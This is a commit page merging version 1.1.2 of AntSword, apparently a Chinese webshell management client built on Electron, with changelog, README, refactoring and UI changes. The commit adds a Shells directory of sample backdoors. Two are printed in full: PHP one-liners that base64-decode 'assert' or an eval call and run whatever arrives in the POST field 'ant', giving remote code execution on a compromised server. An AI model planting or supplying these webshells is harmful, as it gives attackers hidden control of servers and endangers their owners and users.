Commit 3408c9ca authored by Antoor's avatar Antoor

Merge pull request #31 from antoor/v1.1-dev

Update to v1.1.2
parents 9283b75b 63cbfc32
......@@ -2,44 +2,52 @@
> 有空会补补BUG、添添新功能。
> 同时也欢迎大家的参与!感谢各位朋友的支持! .TAT.
## 2016/04
### /10 `(v.1.1.2)`
1. 增加文件管理中可执行文件的提示样式
2. 调整文件管理中任务面板默认折叠(当有任务时自动展开
### /06
1. 添加 PHP Custom Spy,及多个 Shell 样本 // Thanks:[@Medicean][medicaean-github]
## 2016/03
### /30
1. 修正更新菜单栏判断条件(win禁止按钮
### /29
### /29 `(v.1.1.1)`
1. 完成在线更新功能(目前不支持windows以及开发版本
### /26
1. 文件管理双击:size < 100kb ? 编辑 : 下载
2. 调整 Custom 方式数据库部分代码 // 2-4:感谢[@Medicean](https://github.com/Medicean)
2. 调整 Custom 方式数据库部分代码 // 2-4:感谢[@Medicean][medicaean-github]
3. 添加 Shells 目录, 用于存放 shell 样本代码
4. 添加 `custom.jsp` 服务端样本代码
### /24
1. 文件管理双击文件进行编辑 //size < 100kb
### /23 (v1.1.0)
### /23 `(v1.1.0)`
1. 优化数据处理截断算法
### /22
1. 数据分类重命名
2. 新增代理连接配置 // 感谢[@Medicean](https://github.com/Medicean)
2. 新增代理连接配置 // 感谢[@Medicean][medicaean-github]
### /21
1. 优化UI组建自适应,在调整窗口大小的时候不刷新就能调整UI尺寸
### /18
1. 修复数据库XSS安全隐患以及特殊符号处理 // 感谢[@peablog](https://github.com/peablog)
1. 修复数据库XSS安全隐患以及特殊符号处理 // 感谢[@peablog][peablog-github]
### /15
1. 修复了部分XSS遗留问题(主要在语言模板以及文件管理上还有虚拟终端等,其他地方可能还存在 // 感谢[@loveshell](https://github.com/loveshell)
1. 修复了部分XSS遗留问题(主要在语言模板以及文件管理上还有虚拟终端等,其他地方可能还存在 // 感谢[@loveshell][loveshell-github]
### /14
1. 修复文件管理中过滤不当引发的xss安全问题
2. 增加窗口调整大小刷新UI之前弹框提醒用户选择是否刷新
3. 删除无用语言包(jp)
4. 更新支持PHP7 // 感谢[@Lupino](https://github.com/Lupino)
4. 更新支持PHP7 // 感谢[@Lupino][Lupino-github]
1. 删除`core/php/index.jsx`中的`@set_magic_quotes_runtime(0);`
2. 升级`core/php/template/database/mysql.jsx`中的`mysql``mysqli`
......@@ -49,7 +57,6 @@
# 待做事项
* 数据高级搜索功能
* 数据库配置编辑功能
* 在线检测/下载/安装更新
* 虚拟终端复制粘贴tab补全
* 插件模块 //实时编写插件执行、UI以及各种操作API设计
* 扩展模块 //用于扩展一些高级的功能,懒人必备
......@@ -58,3 +65,9 @@
* 英文说明+开发文档
* nodejs服务端脚本支持
* python服务端脚本支持
[medicaean-github]: https://github.com/Medicean
[peablog-github]: https://github.com/peablog
[loveshell-github]: https://github.com/loveshell
[Lupino-github]: https://github.com/Lupino
......@@ -5,7 +5,7 @@
**任何人不得将其用于非法用途以及盈利等目的,也禁止未经允许私自修改打包进行发布,否则后果自行承担并将追究其相关责任!**
[![node](https://img.shields.io/badge/node-v4.0+-green.svg?style=flat-square)](https://nodejs.org/en/download/)
[![release](https://img.shields.io/badge/release-v1.1.1-blue.svg?style=flat-square)](https://github.com/antoor/antSword/releases/tag/1.1.1)
[![release](https://img.shields.io/badge/release-v1.1.2-blue.svg?style=flat-square)](https://github.com/antoor/antSword/releases/tag/1.1.2)
## 设计思想
> 中国蚁剑采用了[Electron](http://electron.atom.io/)作为外壳,`ES6`作为前端代码编写语言,搭配`Babel`&&`Webpack`进行组件化构建编译,外加`iconv-lite`编码解码模块以及`superagent`数据发送处理模块还有`nedb`数据存储模块,组成了这个年轻而又充满活力的新一代大杀器。
......@@ -37,7 +37,7 @@ $ npm install
```sh
$ npm install -g cnpm -—registry=https://registry.npm.taobao.org
$ cnpm install electron-prebuilt@0.36.11
$ npm install
$ npm install
```
......@@ -97,4 +97,4 @@ $ npm start
* Q群: [130993112](http://shang.qq.com/wpa/qunwpa?idkey=51997458a52d534454fd15e901648bf1f2ed799fde954822a595d6794eadc521)
* 官网: [http://uyu.us](http://uyu.us)
* 微博: [蚁逅](http://weibo.com/antoor)
* 微博: [蚁逅](http://weibo.com/antoor)
......@@ -4,15 +4,6 @@ const electron = require('electron');
const app = electron.app;
const BrowserWindow = electron.BrowserWindow;
// 导入模块
const Cache = require('./modules/cache');
const Update = require('./modules/update');
const Menubar = require('./modules/menubar');
const Request = require('./modules/request');
const Database = require('./modules/database');
// electron.crashReporter.start();
app
.on('window-all-closed', app.quit)
.on('ready', () => {
......@@ -22,12 +13,10 @@ app
minWidth: 1040,
minHeight: 699,
webgl: false,
title: 'AntSword',
// autoHideMenuBar: true,
// transparent: false,
// frame: false
// resizable: false
title: 'AntSword'
});
// 加载views
mainWindow.loadURL(`file:\/\/${__dirname}/views/index.html`);
// 调整部分UI
......@@ -37,7 +26,9 @@ app
antSword.modules.shellmanager.category.cell.setWidth(222);
}, 500);
`);
}
};
// 窗口事件监听
mainWindow
.on('closed', () => { mainWindow = null })
.on('resize', reloadUI)
......@@ -49,18 +40,9 @@ app
// 打开调试控制台
// mainWindow.webContents.openDevTools();
new Menubar(electron, app, mainWindow);
// 监听Request请求
new Request(electron);
// 初始化数据库
new Database(electron);
// 初始化缓存模块
new Cache(electron);
// 监听更新请求
new Update(electron);
// 初始化模块
['menubar', 'request', 'database', 'cache', 'update'].map((_) => {
new ( require(`./modules/${_}`) )(electron, app, mainWindow);
});
});
\ No newline at end of file
......@@ -5,9 +5,7 @@
'use strict';
// 读取package.json信息
const info = JSON.parse(
require('fs').readFileSync(require('path').join(__dirname, '../package.json'))
);
const info = require('../package');
class Menubar {
......
{
"name": "antsword",
"version": "1.1.1",
"version": "1.1.2",
"description": "中国蚁剑是一款跨平台的开源网站管理工具",
"main": "app.js",
"dependencies": {
......@@ -29,11 +29,13 @@
"type": "git",
"url": "https://github.com/antoor/antSword"
},
"debug": true,
"debug": false,
"update": {
"md5": "",
"logs": "",
"sources": {}
"md5": "13f38b143dfabf90ea296269acd5b547",
"logs": "添加 PHP Custom Spy,及多个 Shell 样本\n增加文件管理中可执行文件的提示样式\n调整文件管理中任务面板默认折叠(当有任务时自动展开",
"sources": {
"coding.net": "https://coding.net/api/share/download/573ed38e-ab89-4b16-86ff-2d0d58517a3f"
}
},
"bugs": {
"url": "https://github.com/antoor/antSword/issues"
......
## Shell-Scripts
> 此目录用于存放一些示例的服务端脚本文件,仅供参考。
\ No newline at end of file
> 此目录用于存放一些示例的服务端脚本文件,仅供参考。
### PHP
1. [PHP Custom Spy for Mysql](./php_custom_spy_for_mysql.php)
2. [PHP Create_Function](./php_create_function.php)
3. [PHP Assert](./php_assert.php)
### JSP
1. [JSP Custom Spy for Mysql](./jsp_custom_spy_for_mysql.jsp)
This diff is collapsed.
This diff is collapsed.
<?php $ant=base64_decode("YXNzZXJ0");$ant($_POST['ant']);?>
\ No newline at end of file
<?php $ant=create_function("", base64_decode('QGV2YWwoJF9QT1NUWyJhbnQiXSk7'));$ant();?>
\ No newline at end of file
This diff is collapsed.
......@@ -2,13 +2,11 @@
// 程序入口
// -------
// create: 2015/12/20
// update: 2016/01/20
// update: 2016/04/02
//
'use strict';
const fs = global.require('fs');
const path = global.require('path');
const electron = global.require('electron');
const remote = electron.remote;
const ipcRenderer = electron.ipcRenderer;
......@@ -20,11 +18,21 @@ const antSword = window.antSword = {
noxss: (html) => {
return String(html).replace(/&/g, "&amp;").replace(/>/g, "&gt;").replace(/</g, "&lt;").replace(/"/g, "&quot;");
},
modules: {}
core: {},
modules: {},
// localStorage存储
// 参数{key:存储键值,[value]:存储内容,[def]:默认内容}
storage: (key, value, def) => {
// 读取
if (!value) {
return localStorage.getItem(key) || def;
};
// 设置
localStorage.setItem(key, value);
}
};
// 加载模板代码
antSword['core'] = {};
['php', 'asp', 'aspx', 'custom'].map((_) => {
antSword['core'][_] = require(`./core/${_}/index`);
});
......@@ -35,22 +43,23 @@ _lang = ['en', 'zh'].indexOf(_lang) === -1 ? 'en' : _lang;
antSword['language'] = require(`./language/${_lang}`);
// 加载代理
var _aproxymode = localStorage.getItem('aproxymode') || "noproxy";
var _aproxyprotocol = localStorage.getItem('aproxyprotocol');
var _aproxyserver = localStorage.getItem('aproxyserver');
var _aproxyport = localStorage.getItem('aproxyport');
var _aproxyusername = localStorage.getItem('aproxyusername');
var _aproxypassword = localStorage.getItem('aproxypassword');
const aproxy = {
mode: antSword['storage']('aproxymode', false, 'noproxy'),
port: antSword['storage']('aproxyport'),
server: antSword['storage']('aproxyserver'),
password: antSword['storage']('aproxypassword'),
username: antSword['storage']('aproxyusername'),
protocol: antSword['storage']('aproxyprotocol')
}
antSword['aproxymode'] = aproxy['mode'];
antSword['aproxymode'] = _aproxymode;
antSword['aproxyauth'] = (
!aproxy['username'] || !aproxy['password']
) ? '' : `${aproxy['username']}:${aproxy['password']}`;
if (_aproxyusername == "" || _aproxyusername == null || _aproxypassword == "" || _aproxypassword == null) {
antSword['aproxyauth'] = "";
}else{
antSword['aproxyauth'] = _aproxyusername + ":" + _aproxypassword;
}
antSword['aproxyuri'] = _aproxyprotocol + "://" + antSword['aproxyauth']+ "@" + _aproxyserver + ":" + _aproxyport;
antSword['aproxyuri'] = `${aproxy['protocol']}:\/\/${antSword['aproxyauth']}@${aproxy['server']}:${aproxy['port']}`;
// 通知后端设置代理
ipcRenderer.send('aproxy', {
aproxymode: antSword['aproxymode'],
aproxyuri: antSword['aproxyuri']
......@@ -59,7 +68,7 @@ ipcRenderer.send('aproxy', {
antSword['ipcRenderer'] = ipcRenderer;
antSword['CacheManager'] = CacheManager;
antSword['menubar'] = new Menubar();
antSword['package'] = JSON.parse(fs.readFileSync(path.join(global.__dirname, '../package.json')));
antSword['package'] = global.require('../package');
// 加载模块列表
// antSword['tabbar'] = new dhtmlXTabBar(document.getElementById('container'));
......
//
//
// 文件管理 模块
//
//
const LANG_T = antSword['language']['toastr'];
const LANG = antSword['language']['filemanager']['files'];
......@@ -189,7 +189,7 @@ class Files {
${LANG['grid']['header']['size']},
${LANG['grid']['header']['attr']}
`);
grid.setColTypes("ro,ro,ro,ro,ro");
grid.setColTypes("ro,ro,ro,ro,ro");
grid.setColSorting('str,str,str,str,str');
grid.setInitWidths("40,*,150,100,100");
grid.setColAlign("center,left,left,right,center");
......@@ -413,6 +413,8 @@ class Files {
id: _id,
fname: file['name'],
fsize: parseInt(file['size']),
// 如果是可执行文件(exe、dll..),则设置为红色字体
style: /\.exe$|\.dll$|\.bat$|\.sh$|\.com$/.test(file['name']) ? 'color:red' : '',
data: [
self.fileIcon(file['name']),
antSword.noxss(file['name'].replace(/\/$/, '')),
......@@ -484,4 +486,4 @@ class Files {
}
export default Files;
\ No newline at end of file
export default Files;
//
//
// 任务管理 模块
//
//
/*
用法:
......@@ -18,6 +18,8 @@ class Tasks {
constructor(cell, manager) {
cell.setText(`<i class="fa fa-tasks"></i> ${LANG['title']}`);
cell.setHeight(250);
// 默认折叠panel
cell.collapse();
// 创建表格
let grid = cell.attachGrid();
......@@ -29,7 +31,7 @@ class Tasks {
${LANG['grid']['header']['stime']},
${LANG['grid']['header']['etime']}
`);
grid.setColTypes("ro,ro,ro,ro,ro");
grid.setColTypes("ro,ro,ro,ro,ro");
grid.setInitWidths("100,*,150,150,150");
grid.setColAlign("left,left,left,left,left");
......@@ -44,6 +46,8 @@ class Tasks {
// task.update('20%');
// task.end('100%');
new(name, desc, progress) {
// 展开panel
this.cell.expand();
// 创建一个随机ID
const hash = String(+new Date() + Math.random()).replace('.', '_');
this.grid.addRow(
......@@ -81,4 +85,4 @@ class Tasks {
}
export default Tasks;
\ No newline at end of file
export default Tasks;
Markdown is supported
0% or
You are about to add 0 people to the discussion. Proceed with caution.
Finish editing this message first!
Please register or to comment